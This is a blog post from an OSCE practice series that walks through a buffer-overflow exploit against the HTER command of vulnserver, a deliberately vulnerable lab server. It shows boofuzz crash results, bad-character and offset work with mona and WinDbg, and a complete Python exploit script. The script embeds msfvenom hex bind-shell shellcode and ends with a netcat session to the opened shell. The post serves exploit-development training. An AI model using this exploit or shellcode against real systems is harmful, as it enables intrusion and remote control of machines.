Tags: osce, vulnserver, windbg, boofuzz
In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).
DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!
Other posts in the series:
Howdy! This time around we’ll be taking a look at vulnserver’s HTER command. As this is the sixth post, we’re going to forego documenting some of the standard procedures we’ve locked in up to this point. This means that we’ll really only touch on the interesting parts; the steps that deviate from the norm.
In case you’d like a more detailed explanation, Part II - Fuzzing
The steps for auto-fuzzing with boofuzz remain the same as previous posts. Below are the fuzz strings that caused crashes and the number of characters they sent.
133: "C" * 2051
1220: "}" * 4100
375: '"' * 4101
336: '"' * 65538
345: '"' * 100005
We’ll use test #133 for our initial PoC.
Below we have our initial crash template filled out.
1import struct
2import socket
3
4VULNSRVR_CMD = b"HTER " # change me
5CRASH_LEN = 2051 # change me
6
7target = ("127.0.0.1", 9999) # vulnserver
8
9payload = VULNSRVR_CMD
10payload += b"C" * CRASH_LEN
11
12with socket.create_connection(target) as sock:
13 sock.recv(512) # Welcome to Vulnerable Server! ...
14
15 sent = sock.send(payload)
16 print(f"sent {sent} bytes")
When we throw the PoC, we see something out of the ordinary; EIP is overwritten with cccccccc
instead of 43434343
. That’s not normal behavior and is likely something we’ll need to work through by altering our normal methods.
Alright, we’ve reached an interesting bit. When we try to replicate the crash with mona’s pattern_create
command. The crash doesn’t occur. Recall that when we sent our initial crash PoC that EIP was overwritten with the ascii representation of the bytes sent. Let’s see if we can get something that looks a little familiar by changing our payload from
10payload += b"C" * CRASH_LEN
to
10payload += b"43" * (CRASH_LEN//2)
When we rethrow our intial PoC with the change above, we can see what’s happening a little more clearly. Our 43434343
became 34343434
.
At this point, we know that bytes are being ingested as their ascii value and reversed due to endianess. It’s out of our normal order, but let’s try to see if we can narrow down our character set to what’s allowed.
In order to find bad characters without really knowing where our characters are landing, we’ll prepend an egg to our bad_chars
array.
10bad_chars = b"c0d3c0d3\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
Luckily, we see it on the top of the stack (which hints at our crash length being very close to the EIP offset). However, we don’t see any of the bytes sent, or at least, nothing readily identifiable (some could be mangled into what we see above). We do see that c0d3c0d3
made it through fine. Let’s reduce the character set to only printable ascii characters.
If our egg weren’t on top of the stack, we could run
!py mona find -s c0d3c0d3 -type asc
or!py mona compare -f egg_with_bytearray.bin
(assuming we created the .bin file)
10bad_chars = b"c0d3c0d3"
11bad_chars += b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"
12
13payload = VULNSRVR_CMD
When viewing the result, the characters abcdef
make it through, and then nothing else.
Now it seems as though we’re working with a subset of ascii, and judging by abcdef
being valid, but not g
, we can make an educated guess that hex characters are allowed. Let’s confirm our suspicion.
10bad_chars = b"c0d3c0d3"
11bad_chars += b"abcdef0123456789"
12
13payload = VULNSRVR_CMD
When we throw our modified char finder, we see the following result.
All of our hex characters made it through unscathed! It may not seem so, but we can complete the exploit with only these characters, due to how they’re being inserted into memory. Let’s make it happen!
Alright, we made a detour earlier into finding bad characters because mona’s pattern_create
didn’t produce a crash. We now know it was due to the HTER command only allowing hex values into memory. Armed with that knowledge, we can make pattern_create
produce a crash! We’ll specify a custom character set for pc
to use when generating the pattern. This means we’ll have all valid characters in our find-offset template.
!py mona pc 2051 -c1 ABCDEF -c2 abcdef -c3 0123456789
═════════════════════════════════════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py pc 2051 -c1 ABCDEF -c2 abcdef -c3 0123456789
Creating cyclic pattern of 2051 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile c:\monalogs\vulnserver_1592\pattern.txt
Warning : odd size given, js pattern will be truncated to 2050 bytes, it's better use an even size
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open c:\monalogs\vulnserver_1592\pattern.txt and copy the pattern from the file
Now that we’ve got a valid pattern, let’s add it to our template.
10payload = VULNSRVR_CMD
11payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc"
With that, we can throw our offset finder and get a crash.
Let’s try findmsp
out with the same custom character set we passed to pc
.
Note : you can use the same options with
find_msp
as withpattern_create
andpattern_offset
in terms of defining the character set to use
!py mona findmsp -c1 ABCDEF -c2 abcdef -c3 0123456789
═════════════════════════════════════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py findmsp -c1 ABCDEF -c2 abcdef -c3 0123456789
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x003a5415 (length 2051 bytes)
Cyclic pattern (normal) found at 0x003a584d (length 971 bytes)
[+] Examining registers
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
Walking stack from 0x01a0f000 to 0x01a0fffc (0x00000ffc bytes)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
Walking stack from 0x01a0f000 to 0x01a0fffc (0x00000ffc bytes)
[+] Preparing output file 'findmsp.txt'
- (Re)setting logfile c:\monalogs\vulnserver_1592\findmsp.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
Nice, it found our pattern in memory, but couldn’t identify the overwrite, due to how characters are handled by the server. Let’s try pattern_offset
.
!py mona po c0fc -c1 ABCDEF -c2 abcdef -c3 0123456789
═════════════════════════════════════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po c0fc -c1 ABCDEF -c2 abcdef -c3 0123456789
Looking for c0fc in pattern of 500000 bytes
- Pattern cf0c not found in cyclic pattern
Looking for c0fc in pattern of 500000 bytes
- Pattern cf0c not found in cyclic pattern (uppercase)
Looking for c0fc in pattern of 500000 bytes
- Pattern c0fc found in cyclic pattern (lowercase) at position 961
When we use 961 as our offset, we don’t get an EIP overwrite; let’s investigate! Let’s search our pattern manually for the characters that were in EIP (c21ffcc0
; shown above). Recall that strings are reversed before making it into memory. That means that the pattern we need to search for is c0fc1fc2
.
Aha! There are 2 instances of that string within our cyclic pattern. Let’s open our python interpreter to quickly get their offsets.
>>> import re
>>> substr = 'c0fc1fc2'
>>> pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc"
>>> [x.start() for x in re.finditer(substr, pattern, re.IGNORECASE)]
[961, 2041]
Performing the steps above confirm the 961 offset reported by po
but also show us 2041; awesome!
It looks like we could also have subtracted 10 from what findmsp reported, if we had cross-referenced pattern_offset and findmsp results. However, that method is more of a logical leap, where this is a little more concrete.
Now we’re back on track! Let’s plug 2041 into our PoC and confirm our offset. Also, while we’re here, let’s see if we can write some additional characters onto ESP. We already saw we could get c0d3c0d3abcdef0123456789
there, let’s see if we can add enough bytes for our bind shell (400 bytes should be plenty).
Notice we need to use 8 characters to fill a register instead of the normal 4
43payload += b"A" * OFFSET
44payload += b"B" * 8
45payload += b"C" * (CRASH_LEN - len(payload) + 400)
And we see that the code above results in EIP containing bbbbbbbb
and the stack full of cccccccc
’s; nice!
Ok, we’ve identified bad characters, found our offset, and identified a place for shellcode. Unfortunately, our normal bind shell payload won’t work. We’ll need to use msfvenom
to generate a new payload encoded using hex characters.
This is actually very simple, we just need to change our format from python to hex!
msfvenom -p windows/shell_bind_tcp LPORT=12345 -f hex -v shellcode -b '\x00' EXITFUNC=thread
════════════════════════════════════════════════════════════════════════════════════════════
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of hex file: 710 bytes
bac1891b70d9c8d97424f45829c9b15383e8fc31500e039187f985ed707f650d81e0efe8b0208b79e290df2f0f5a8ddb842e1aec2d847cc3aeb5bd422dc491a40c07e4a5497a05f702f0b8e7274c018c74400171cc632024463ae2c78b36abdfc87365543a0f74bc72f0db81ba0325c67dfc503e7e816285fc5de61da61650f956fa078a55b74cd47946806f85c327bf0f97031b4b432d3a3122525c9a9bf61737cf8a7a503ca784a02ab0f792f56a9f9e7eb558e05401f61f5772dfdb032277cd2ba987f2f9448f55527b7225023bdcce48b403ee721e2c878ea162610647e8814edf8463b5e8339b9f40d3d4c957dce4dfff4a6f0cc46b70196cfce7d7fd4f99e8d7273a7abcb735676be0125962648fc0dc9a5294271e8965a99f5cd18d8f98da89fb748d47553367260fedd4e0c7681733917472c57dc42b9082e9bb14fb175cdad6937c39f2e914e4975379174297849466687384036d3f02f81f50e7fe8c5122
With a new payload in hand, we can finalize our exploit.
The last gotcha for this exploit is how to write our nop sled and jmp esp address. It turns out it’s pretty simple if we remember how our pattern and 43
’s behaved earlier.
1# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f hex -b '\x00' EXITFUNC=thread
2# Payload size: 355 bytes
3shellcode = b"bac1891b70d9c8d97424f45829c9b15383e8fc31500e039187f985ed707f650d81e0efe8b0208b79e290df2f0f5a8ddb842e1aec2d847cc3aeb5bd422dc491a40c07e4a5497a05f702f0b8e7274c018c74400171cc632024463ae2c78b36abdfc87365543a0f74bc72f0db81ba0325c67dfc503e7e816285fc5de61da61650f956fa078a55b74cd47946806f85c327bf0f97031b4b432d3a3122525c9a9bf61737cf8a7a503ca784a02ab0f792f56a9f9e7eb558e05401f61f5772dfdb032277cd2ba987f2f9448f55527b7225023bdcce48b403ee721e2c878ea162610647e8814edf8463b5e8339b9f40d3d4c957dce4dfff4a6f0cc46b70196cfce7d7fd4f99e8d7273a7abcb735676be0125962648fc0dc9a5294271e8965a99f5cd18d8f98da89fb748d47553367260fedd4e0c7681733917472c57dc42b9082e9bb14fb175cdad6937c39f2e914e4975379174297849466687384036d3f02f81f50e7fe8c5122"
4
5payload = VULNSRVR_CMD
6payload += b"A" * OFFSET
7# !py mona jmp -r esp
8# 0x62501205 | 0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ}
9payload += b"05125062"
10payload += b"90" * SLED_LENGTH
11payload += shellcode
12payload += b"C" * (CRASH_LEN - len(payload))
If all goes well when we throw the code above, we should see a listener on port 12345 open up.
nc -vn 127.0.0.1 12345
══════════════════════
(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master>
I hope you found this post useful, even though we skimmed over the parts that have been covered ad nauseum in prior posts. I checked a few of the other writeups for HTER and haven’t seen any that use the pattern_create
technique used here. I think it’s beneficial to really explore your tooling and know what it’s capable of doing for you. Next time we’ll probably look at LTER. See you then!